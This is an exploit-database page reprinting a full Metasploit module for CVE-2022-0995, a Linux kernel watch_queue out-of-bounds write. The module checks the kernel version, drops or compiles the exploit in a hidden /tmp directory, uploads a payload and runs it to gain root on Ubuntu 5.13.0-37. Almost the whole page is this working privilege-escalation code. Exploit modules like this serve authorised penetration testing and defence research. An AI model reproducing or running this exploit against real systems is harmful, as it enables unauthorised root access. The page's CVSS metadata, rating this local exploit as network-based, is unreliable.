Advertisement






Watch Queue Out-Of-Bounds Write

CVE Category Price Severity
CVE-2022-0995 CWE-119 $10,000 High
Author Risk Exploitation Type Date
Unknown High Local 2022-04-23
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040091

Below is a copy:

Watch Queue Out-Of-Bounds Write
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Watch Queue Out of Bounds Write',
        'Description' => %q{
          This module exploits a vulnerability in the Linux Kernel's watch_queue event
          notification system. It relies on a heap out-of-bounds write in kernel memory.
          The exploit may fail on the first attempt so multiple attempts may be needed.
          Note that the exploit can potentially cause a denial of service if multiple
          failed attemps occur, however this is unlikely.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jann Horn', # discovery and poc
          'bonfee',     # PoC
          'bwatters-r7' # Aka @tychos_moose, Metasploit Module
        ],
        'DisclosureDate' => '2022-03-14',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2022-0995' ],
          [ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ],
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ],
          [ 'PACKETSTORM', '166770' ],
        ],
        'Targets' => [
          [ 'Ubuntu Linux 5.13.0-37', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working.
          'Stability' => [ CRASH_OS_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options [
      OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def pull_version
    kernel_data = kernel_release
    version_array = kernel_data.split('-')
    if version_array.length < 3
      print_error("Failed to parse the kernel version data: #{kernel_data}")
      return nil
    end
    vprint_status("Version array: #{version_array}")
    major_version = Rex::Version.new(version_array[0])
    vprint_status("major_version: #{major_version}")
    minor_version = version_array[1].strip unless version_array[1].nil?
    vprint_status("minor_version: #{minor_version}")
    kernel_type = version_array[2].strip unless version_array[2].nil?
    return [major_version, minor_version, kernel_type]
  end

  def module_check
    # Vulnerable versions are under 5.17:rc8
    # This module only has offsets for Ubuntu 5.13.0-37
    if is_root? && !datastore['ForceExploit']
      fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
    end
    if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True'
      fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True')
    end
    unless kernel_version =~ /[uU]buntu/
      fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'")
    end
    arch = kernel_hardware
    unless arch.include?('x86_64')
      fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'")
    end
    version_info = pull_version
    if version_info.nil?
      fail_with(Failure::NoTarget, 'Failed to obtain kernel version')
    end
    major_version, minor_version, kernel_type = version_info
    vulnerable_version = Rex::Version.new('5.13.0')
    unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic')
      fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'")
    end
  end

  def check
    # Vulnerable versions are under 5.17:rc8
    # This module only has offsets for 5.13.0-37
    vulnerable_version = Rex::Version.new('5.17.0')
    version_info = pull_version
    if version_info.nil?
      return CheckCode::Unknown('Failed to obtain kernel version')
    end

    major_version = version_info[0]
    if major_version <= vulnerable_version
      return CheckCode::Appears
    else
      return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}")
    end
  end

  def exploit
    module_check
    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_path = "#{exploit_dir}/#{executable_name}"
    if file_exist?(exploit_dir)
      fail_with(Failure::BadConfig, 'Exploit dir already exists')
    end
    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    # Upload exploit
    if live_compile?
      vprint_status('Live compiling exploit on system...')
      if datastore['DEBUG_SOURCE']
        code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c')
      else
        code = exploit_source('cve-2022-0995', 'cve-2022-0995.c')
      end
      upload_and_compile(exploit_path, code, '-no-pie -static')
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      precompiled_binary = 'cve-2022-0995.x64.elf'
      vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
      upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary))
    end

    register_file_for_cleanup(exploit_path)

    # Upload payload
    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    cmd_string = "#{exploit_path} #{payload_path}"
    vprint_status("Running: #{cmd_string}")
    begin
      output = cmd_exec(cmd_string)
      vprint_status(output)
    rescue Error => e
      elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
      print_error("Exploit failed: #{e}")
      print_error("Ensure deletion of #{exploit_path} and #{payload_path}")
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum